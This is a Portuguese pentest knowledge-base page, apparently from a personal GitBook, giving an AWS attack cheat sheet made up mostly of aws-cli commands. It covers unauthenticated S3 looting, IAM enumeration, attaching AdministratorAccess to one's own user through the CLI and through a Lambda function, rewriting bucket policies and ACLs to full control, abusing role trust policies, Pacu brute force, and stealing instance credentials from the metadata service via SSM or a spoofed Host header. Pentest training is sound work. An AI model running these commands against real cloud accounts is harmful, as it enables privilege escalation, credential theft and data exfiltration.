> For the complete documentation index, see [llms.txt](https://mysther.gitbook.io/knowledge-base/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://mysther.gitbook.io/knowledge-base/ataques/web-exploitation/aws.md). # AWS ### Chaves #### Tamanho e Tipos de Chaves * Access Key = 20 chars * Access Secret Key = 40 chars * Session Token = Chave temporária opicional #### Prefixo de Chaves | PREFIXO | TIPO DE RECURSO | | ------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- | | `ABIA` | AWS STS Service Bearer Token | | `ACCA` | Context-Specific Credential | | `AGPA` | User Group | | `AIDA` | IAM User | | `AIPA` | Amazon EC2 Instance Profile | | `AKIA` | Access key (Chave de longa duração importante que raramente é modificada) | | `ANPA` | Managed Policy | | `ANVA` | Version in a Managed Policy | | `APKA` | Public key | | `AROA` | Role | | `ASCA` | Certificate | | `ASIA` | Os IDs de chave de acesso temporário (AWS STS) usam esse prefixo, mas são exclusivos apenas em combinação com a Secret Access Key e o Session Token. | ### ### S3 O Amazon Web Services (AWS) fornece um serviço chamado S3 (*Simple Storage Service*), que expõe uma interface de container de armazenamento chamado de "*bucket"* e os arquivos dentro do bucket são chamados de "*objects*". O S3 fornece um armazenamento ilimitado para cada bloco e os proprietários podem usá-los para disponibilizar arquivos. Os arquivos podem ser vinculados de forma `privada` (via URL com assinatura) ou `pública` por meio de uma `ACL (Access Control List)` configurada adequadamente ou por meio de uma `ACP (Access Control Policy)`. Todos os Buckets S3, quando configurados para hospedagem na web, recebem um domínio da AWS que você pode usar para navegar até ele sem configurar seu próprio DNS. Por exemplo, a página web ****** também pode ser visitado em *** Sendo assim, podemos nesse caso acessar a URL \_**\*\** e vermos a lista de arquivos expostos. Uma outra maneira de vermos é através do utilitário `aws cli`, acesso via terminal. Supondo que temos a seguinte URL `https://mysther-static-resources.s3-ap-southeast-1.amazonaws.com/,` podemos pegar somente o seu prefixo (`mysther-static-resources`) e então executar o seguinte comando (altere a região, caso necessário): #### Enumeração (sem autenticação) ```bash aws s3 --no-sign-request --region ap-southeast-1 ls s3://mysther-static-resources ``` Caso tenha sido listado diretório, podemos acessá-la da seguinte forma: ```bash aws s3 --no-sign-request --region ap-southeast-1 ls s3://mysther-static-resources// ``` E por fim, fazer download de arquivos ```bash aws s3 --no-sign-request --region ap-southeast-1 cp s3://mysther-static-resources// ./ ``` #### Enumeração (com autenticação) Listando Buckets ```bash aws s3api list-buckets ``` Listando objetos de um determinado Bucket ```bash aws s3api list-objects --bucket ``` Fazendo download de arquivos. Note que `key`, é o nome do Objeto (no caso, um arquivo) ```bash aws s3 cp s3:/// . ``` {% hint style="success" %} **OBS.:** Ao localizar um Bucket, podemos acessá-lo via web, seguindo um dos seguintes padrões: ***https\://\.s3.amazonaws.com/\** ou **http\://\.s3-website-us-east-1.amazonaws.com/\*** {% endhint %} ### ### AWS CLI #### Instalação ```bash sudo apt install awscli ``` #### Configuração Antes de começar, vamos configurar nossa chave de acesso. Para isso temos a maneira mais prática, que é executando o comando abaixo e depois inserindo as chaves. ```bash aws configure ``` E podemos também, fazer de forma manual, criando um arquivo `~/.aws/credentials` com o conteúdo abaixo. Caso não configure essa chave, provavelmente receberá um erro do tipo: `Partial credentials found in shared-credentials-file, missing: aws_secret_access_key`\ Para pegar as credenciais, vá no painel da AWS, clique no nome do usuário que está no canto superior à direita e depois em `My Security Credentials`. Feito isso vá em `Access Keys (access key ID and secret access key)` e gere uma chave. ```bash [default] aws_access_key_id = aws_secret_access_key = ``` Esse processo obviamente é bem manual, já que estamos criando um arquivo manualmente e inserindo valores nele, então vamos deixar com que o próprio comando `aws` faça o "trabalho sujo" por nós. Note que, editando o arquivo manualmente, podemos inserir o valor do token temporário em `aws_session_token`, já utilizando o comando `aws configure`, já não é possível definir esse valor. ```bash aws configure --profile ``` Feito isso, informe o `Key ID` e o `Access Key`. Note que o diretório `~/.aws` pode ficar um pouco diferente. O arquivo `~/.aws/credentials` que já existia, agora tem uma configuração a mais e foi criado (caso não tinha) o arquivo `~/.aws/config`, que contém a configuração das regiões. #### Comandos Básicos Pegando o `UserID` e o `Account Name`. Caso não defina o profile, por padrão será utilizado o profile `default`. Em `~/.aws/credentials`, podemos ver o profile, que está entre colchete. ```bash aws --profile sts get-caller-identity ``` Detalhes do snapshot da EC2 ```bash aws --profile ec2 describe-snapshots ``` Caso queira pegar um usuário em específico, é necessário adicionar o Owner, exemplo: ``` aws --profile ec2 describe-snapshots --owner-id ``` Listando as permissões do S3 Bucket ```bash aws s3api get-bucket-acl --bucket ``` Listando arquivos em AWS Buckets públicos ```bash aws s3 ls s3:// --no-sign-request ``` Caso já possua uma chave válida configurada, podemos listar os arquivos de uma forma mais prática ```bash aws --profile s3 ls ``` Baixando conteúdo do Bucket ```bash aws s3 sync s3:// --no-sign-request ``` {% hint style="info" %} **NOTA**: As vezes é preciso informar a região. Podemos fazer isso com o parâmetro **`--region us-west-2`** {% endhint %} Fazendo upload de arquivos ```bash aws s3 mv text.txt s3:// ``` Verificando permissões de um determinado arquivo ```bash aws s3api get-object-acl --bucket --key ``` ### ### IAM O IAM (Identity and Access Management), é um serviço da Web que ajuda no controle de acessos aos recursos da AWS. É através do IAM, que podemos controlar quem é autenticado (que fez login) e autorizado (que tem permissão) a usar os recursos. Por esse motivo, o IAM é um ponto totalmente visado a ataques, já que está centralizando e gerenciandos acessos a recursos. #### Users Informações sobre o usuário atual ```bash aws iam get-user ``` Listando todos os Usuários ```bash aws iam list-users ``` Não esqueça de ver as Policies que estão adicionadas aos outros usuários ```bash aws iam list-attached-user-policies --user-name ``` Criando um usuário. Note que nossa conta AWS precisa possuir tal permissão, então verifique mais abaixo como fazer para verificar as nossas políticas atuais e como fazer para anexar uma política administrativa em nosso usuário ```bash aws iam create-user --user-name ``` Após enumerar os usuários, crie um perfil de Login e acesse a plataforma via web ```bash aws iam create-login-profile --user-name --password --no-password-reset-required ``` #### #### Groups Listando todos os Grupos ```bash aws iam list-groups ``` Listando grupos de um determinado usuário ```bash aws iam list-groups-for-user --user-name ``` Adicionando um usuário em um grupo ```bash aws iam add-user-to-group --group-name --user-name ``` #### Policies Enumerando Políticas ```bash aws iam list-policies ``` Políticas associadas em um grupo ```bash aws iam list-attached-group-policies --group-name ``` Para mais detalhes sobre uma determinada Política, pegue o ARN com o comando acima e depois execute: ```bash aws iam get-policy --policy-arn aws iam get-policy-version --policy-arn --version-id ``` Listando detalhes das Política de um determinado Usuário ```bash aws iam list-user-policies --user-name ``` Com a saída do comando acima, execute o comando abaixo mais detalhes ```bash aws iam get-user-policy --user-name --policy-name ``` Com a saída do comando acima, verifique se em `Resource` ou em `Action` há algo que possa ser interessante para escalar algum tipo de privilégio. Para executar o comando abaixo e verificarmos as Roles de uma Policy, vamos pegar como exemplo a seguinte saída: `"Resource": ["arn:aws:iam::658552018120:role/Example"]` e então utilizar somente o `Example` no final e executar: ```bash aws iam list-role-policies --role-name ``` Agora vamos pegar o retorno de `PolicyNames` do comando acima e então executar. Verifique o conteúdo em `Statement` ```bash aws iam get-role-policy --role-name --policy-name ``` Procurando por política ARN administrativa ```bash aws iam list-policies | grep AdministratorAccess ``` Após isso, nós podemos anexar a política `AdministratorAccess` em nossa conta de usuário, bastando apenas pegar a `` na saída do comando acima ```bash aws iam attach-user-policy --user-name --policy-arn ``` Verificando políticas anexadas a um determinado usuário ```bash aws iam list-attached-user-policies --user-name ``` Com o resultado do comando acima, utilize o valor de `PolicyArn` para executar o comando abaixo, retornando assim mais detalhes sobre uma determinada Policy ```bash aws iam get-policy --policy-arn ``` Verificando certificado assinado do usuário ```bash aws iam list-signing-certificates --user-name ``` Verificando por chave públic SSH do usuário. ```bash aws iam list-ssh-public-keys --user-name ``` Com o resultado do comando acima, utilize o valor de `SSHPublicKeyId` para executar o próximo comando ```bash aws iam get-ssh-public-key --user-name --encoding PEM --ssh-public-key-id ``` Verificando se um determinado usuário possui login na console ```bash aws iam get-login-profile --user-name ``` Verificando políticas de um determinado grupo ```bash aws iam list-group-policies --group-name ``` #### #### Roles Enumerando as Roles ```bash aws iam list-roles ``` Detalhes de uma determinada Role ```bash aws iam get-role --role-name ``` Verificando as Policies de uma Role ```bash aws iam list-role-policies --role-name ``` Assumindo uma role ```bash aws sts assume-role --role-arn --role-session-name ``` Execute o próximo comando, de acordo com a saída do comando anterior ```bash export AWS_ACCESS_KEY_ID= export AWS_SECRET_ACCESS_KEY= export AWS_SESSION_TOKEN= ``` Note que fazendo isso, você substituindo seus acessos, então caso queria voltar ao normal, utilize o comando abaixo: ```bash unset AWS_ACCESS_KEY_ID unset AWS_SECRET_ACCESS_KEY unset AWS_SESSION_TOKEN ``` #### #### Misconfigured Trust Policy ```bash aws sts assume-role --role-arn arn:aws:iam:::role/ --role-session-name ad_logging ``` Defina as variáveis, sendo os valores de acordo com o resultado do comando cima ```bash export AWS_ACCESS_KEY_ID= export AWS_SECRET_ACCESS_KEY= export AWS_SESSION_TOKEN= ``` Verificando se as configurações ```bash aws sts get-caller-identity ``` Verificando se há alguma política com s3 disponível ```bash aws iam list-attached-role-policies --role-name ``` Caso possua um s3 disponível, execute o comando abaixo para listar o conteúdo disponível nessa s3 ```bash aws s3 ls ``` #### PACU Instalação ```bash pip3 install -U pacu ``` Inicializando ```bash pacu ``` Definindo as chaves ```bash set_keys ``` Brute Force em Users ```bash run iam__enum_users --role-name a4 --account-id <999999999999> --word-list ``` Brute Force em Roles ```bash run iam__enum_roles --role-name a4 --account-id <999999999999> --word-list ``` ### Bucket Listando Buckets ```bash aws s3api list-buckets aws --endpoint http://: s3api list-buckets ``` Listando objetos/arquivos de um determinado Bucket ```bash aws s3api list-objects --bucket aws --endpoint http://: s3 ls s3:// ``` Baixando um bucket completo ```bash aws --profile s3 sync s3:// ./ ``` Fazendo download de arquivo que está armazenado em um determinado Bucket ```bash aws s3 cp s3:/// . aws --endpoint http://: s3 cp s3:/// ./ ``` Fazendo upload de arquivo ```bash # Arquivo novo aws --endpoint http://: s3 cp s3:/// # Substituindo conteúdo de um arquivo existente aws --endpoint http://: s3 cp s3:/// ``` Deletando arquivo remoto ```bash aws --endpoint http://: s3 rm s3:/// ``` Verificando as Policies de um determinado Bucket. Em algumas ocasiões, podemos ver os nomes dos arquivos, o que pode ser útil quando não temos acesso a leitura dos objetos do Bucket. Em outros casos, podemos ver configurações onde é possível ter acesso por exemplo, utilizando somente um determinado User Agent. ```bash aws s3api get-bucket-policy --bucket --output text | jq aws --endpoint http://: s3api get-bucket-policy --bucket ``` Caso possua permissão para atualizar as políticas, salve o resultado do comando acima e substitua o `Deny` por `Allow` e deixe partes como `s3:GetBucketPolicy` como `s3:*`. Também altere o `Resource` colocando um `*` no final, caso esteja apontando para algum arquivo em específico. Agora faça upload do json modificado. ```bash aws s3api put-bucket-policy --bucket --policy file:// ``` #### Alterando ACL do Bucket Primeiro precisamos baixar a ACL de um determinado bucket e salvar a saída em um arquivo json ```bash aws s3api get-bucket-acl --bucket > ``` Agora basta editar o arquivo, alterando o valor de `Permission` para `FULL_CONTROL` e depois atualizar a ACL atavés do comando abaixo: ```bash aws s3api put-bucket-acl --bucket --access-control-policy file:// ``` Para verificar se deu certo utilize o segundo comando acima, porém sem jogar a saída para um arquivo json #### Alterando ACL do Objeto em um Bucket Primeiro precisamos baixar a ACL de um determinado objeto (arquivo) do bucket e salvar a saída em um arquivo json ```bash aws s3api get-object-acl --bucket --key > ``` Agora basta editar o arquivo, alterando o valor de `Permission` para `FULL_CONTROL` e depois atualizar a ACL atavés do comando abaixo: ```bash aws s3api put-object-acl --bucket --key --access-control-policy file:// ``` ### C2 Analisando instâncias ```bash aws ec2 describe-instances ``` Pegando o AMI ID ```bash aws ec2 describe-images --owners amazon --filters 'Name=name,Values=amzn-ami-hvm-*-x86_64-gp2' 'Name=state,Values=available' --output json | jq -r '.Images | sort_by(.CreationDate) | last(.[]).ImageId' ``` Analisando subnets (aqui podemos encontrar o valor de `SubnetId`) ```bash aws ec2 describe-subnets ``` Listando grupos de segurança ```bash aws ec2 describe-security-groups (aqui podemos encontrar o valor de `GroupId`, por exemplo, `sg-12ad125a1b78c60`) ``` Listando perfis de instancias (aqui podemos encontrar o valor de `InstanceProfileName`) ```bash aws iam list-instance-profiles ``` Inicializando uma EC2 ```bash aws ec2 run-instances --subnet-id --image-id --iam-instance-profile Name= --instance-type t2.micro --security-group-ids "" ``` Com a saída do comando acima, atente-se ao valor de `InstanceId` e utilize-o abaixo para executarmos um comando no OS do EC2. No primeiro exemplo, estamos pegando as chaves de acesso e no segundo exemplo, apenas executando o comando `id`. Não se esqueça de altera o `roleName`, como fizemos com o `` 
# Pegando chaves de acesso
aws ssm send-command --document-name "AWS-RunShellScript" --parameters 'commands=["curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<roleName>/"]' --targets "Key=instanceids,Values=<InstanceId>"

# id
aws ssm send-command --document-name "AWS-RunShellScript" --parameters 'commands=["<command>"]' --targets "Key=instanceids,Values=<InstanceId>"
Note que apesar de termos executado o comando, não obtemos a sua saída. Para isso, precisamos realizar mais uma requisição, onde podemos ver ser o output do comando em `StandardOutputContent`. Atente-se ao `CommandId` que foi retornado no comando anterior ```bash aws ssm get-command-invocation --command-id "" --instance-id "" ``` ### Lambda Listando Function Lambda ```bash aws lambda list-functions ``` Para criar uma Function Lambda, primeira crie um arquivo chamado `aws.py` com o conteúdo abaixo. Isso irá adicionar um determinado usuário a Política de Administradores. ```bash import boto3 def handler(event, context): iam = boto3.client("iam") response = iam.attach_user_policy( UserName="", PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess" ) return response ``` Compacte o arquivo criado: ```bash zip aws.zip aws.py ``` Crie a Function Lambda através do comando ```bash aws lambda create-function --function-name aws-function --runtime python3.8 --zip-file fileb://aws.zip --handler aws.handler --role ``` Agora execute a Function criada ```bash aws lambda invoke --function-name aws-function ``` Se ver novamente nas Policies do usuário, terá o `AdministratorAccess` ```bash aws iam list-attached-user-policies --user-name ``` #### Lambda Authorizer O Lambda Authorizer é um recurso do API Gateway que usa uma função do Lambda para controlar o acesso à API. Com base nas informações fornecidas na solicitação, ou seja, tokens, parâmetros de solicitação etc, a função Lambda retorna uma política que permite ou nega o acesso à API. Um ponto que podemos fazer para driblar isso é, acessar a URL com algum token aleatório para que seja validado e após isso,utiizar esse que foi validado em . Exemplo: ```bash $TOKEN=$RANDOM curl 'http://ab.cd-api.us-east-1.amazonaws.com/dev/status' -H "Authorization: $TOKEN" curl 'http://ab.cd-api.us-east-1.amazonaws.com/dev/admin' -H "Authorization: $TOKEN" ``` ### DynamoDB #### Select Listando tabelas do DynamoDB Server ```bash aws --endpoint http://:4567 dynamodb list-tables ``` Verificando a estrutura de uma determinada tabela ```bash aws --endpoint http://:4567 dynamodb describe-table --table ``` Lendo conteúdo de uma determinada tabela ```bash aws --endpoint http://:4567 dynamodb scan --table
``` Para pesquisar por um valor específico, crie um arquivo chamado `find.json` com o conteúdo abaixo, altere a chave `S` com o respectivo index, caso seja necessário: ```bash { ":value": {"S": ""} } ``` Agora execute o comando de busca ```bash aws --endpoint http://:4567 dynamodb scan --table users --filter-expression " = :value" --projection-expression "" --expression-attribute-values file:// ``` Outra maneira de pesquisar, é da forma abaixo, porém aqui estamos filtrando por um campo diferente ```bash aws --endpoint http://:4567 dynamodb query --table
--key-condition-expression " = :value" --expression-attribute-value file:// ``` Caso o json possua mais, valores, podemos organizá-lo da seguinte forma: 
{
    ":value1": {"S": "<value>"},
    ":value2": {"S": "<value>"}
}
Agora em nossa --key-condition-expression, podemos deixa no seguinte padrão: ```bash ... --key-condition-expression " = :value1 and = :value2" ... ``` #### Insert Crie um arquivo chamado `insert.json` com o seguinte valor (altere o nome das chaves e valores): ```bash { "": {"S":""}, "": {"S":""} } ``` Agora execute ```bash aws --endpoint http://:4567 dynamodb put-item --table
--item file:// ``` Para verificar se realmente deu certo, crie um arquivo chamado `search.json` com o seguinte conteúdo (altere o `field` e o `value` para ser igual o foi inserido anteriormente): ```bash { "": {"S": ""} } ``` Agora realize a pesquisa com o comando ```bash aws --endpoint http://:4567 dynamodb get-item --table
--key file:// ``` #### Update Podemos também, atualizar um objeto. Para isso vamos criar um arquivo chamado `key.json` definindo o index (field) e seu respectivo valor, seguindo o seguinte padrão: ```bash { "": {"S": ""} } ``` Agora iremos criar um segundo arquivo chamado `value.json`, que irá conter o novo valor que iremos atribuir para o registro que der "match" com a condição do arquivo `key.json` criado acima ```bash { ":value": {"S": ""} } ``` Por fim, execute o comando para atualizar o banco de dados ```bash aws --endpoint http://:4567 dynamodb update-item --table
--key file:// --update-expression "SET = :value" --expression-attribute-values file:// ``` Para verificar se deu certo, execute ```bash aws --endpoint http://:4567 dynamodb get-item --table
--key file:// ``` #### Delete Deletando registro de uma tabela ```bash aws --endpoint http://:4567 dynamodb delete-item --table
--key file://// ``` Deletando uma tabela ```bash aws --endpoint http://:4567 dynamodb delete-table --table
``` ### ### Bucket Finder Procura por buckets que estão públicos e baixa o seu conteúdo. ``` ./bucket_finder.rb --region us --download ``` ### Pegando Chaves Ao acessar um servidor web hospedado na AWS, utilize o 169.254.169.254 no header `Host` para pegar dados sensíveis, incluindos as chaves AWS ```bash curl http:/// -H 'Host: 169.254.169.254' curl http:///latest/meta-data/iam/security-credentials/ -H 'Host: 169.254.169.254' ``` ### Secret Managers Configurando o AWS ```bash export AWS_ACCESS_KEY_ID = export AWS_SECRET_ACCESS_KEY = export AWS_SESSION_TOKEN = ``` Enumerando os Callers Identity ```bash aws sts get-caller-identity ``` Listando os Secret Managers ```bash aws secretsmanager list-secrets --region ``` Alterr o `` abaixo pela retorno de `Name` no comando anterior ```bash aws secretsmanager get-secret-value --secret-id ``` ### ### IMDS É possível acessar metadados de instância em uma instância em execução utilizando o IMDSv1 (método de solicitação/resposta) ou o IMDSv2 (método orientado a sessões). Os cabeçalhos PUT ou GET são exclusivos do IMDSv2. Se esses cabeçalhos estiverem presentes na solicitação, a solicitação será destinada ao IMDSv2. Se nenhum cabeçalho estiver presente, presume-se que a solicitação seja destinada ao IMDSv1. Ao acessarmos a URL abaixo, podemos receber um `401 - Unauthorized` ```bash curl http://169.254.169.254/latest/meta-data ``` Porém podemos contarnar isso com o comando abaixo, onde iremos pegar o token e jogar na variável `TOKEN`: ```bash TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` ``` Agora com o token em mãos, vamos pegar todos os serviços ```bash curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/ ``` Feito isso, podemos navegar nos diretórios localizados, como no exemplo abaixo, no diretório `iam` (caso exista). Dentro do diretório `iam` irão existir mais arquivos e diretórios que podem ser acessados, então vá sempre adicionando eles no final da URL ```bash curl http://169.254.169.254/latest/meta-data/iam/ -H "X-aws-ec2-metadata-token: $TOKEN" ``` ### Acessando via Postman com Access Key e Access Secret Key Depois de ter em mãos o Access Key (chave com o prefixo `AKIA`) e o Access Secret Key, abra o Postman e na aba de autenticação, selecione `AWS Signature`. Insira então as duas chaves, a região (por exemplo `us-east-1`) e o Service Name, que podemos pegar na URL, onde temos o valor `execute-api`, para a URL. ### Sites ```bash # Pesquisa pública da Open Amazon S3 Buckets https://buckets.grayhatwarfare.com/ # Explicação sobre a AWS https://labs.detectify.com/2017/07/13/a-deep-dive-into-aws-s3-access-controls-taking-full-control-over-your-assets/ # Gerador de Policies https://awspolicygen.s3.amazonaws.com/policygen.html # PACU https://github.com/RhinoSecurityLabs/pacu1 ``` --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://mysther.gitbook.io/knowledge-base/ataques/web-exploitation/aws.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.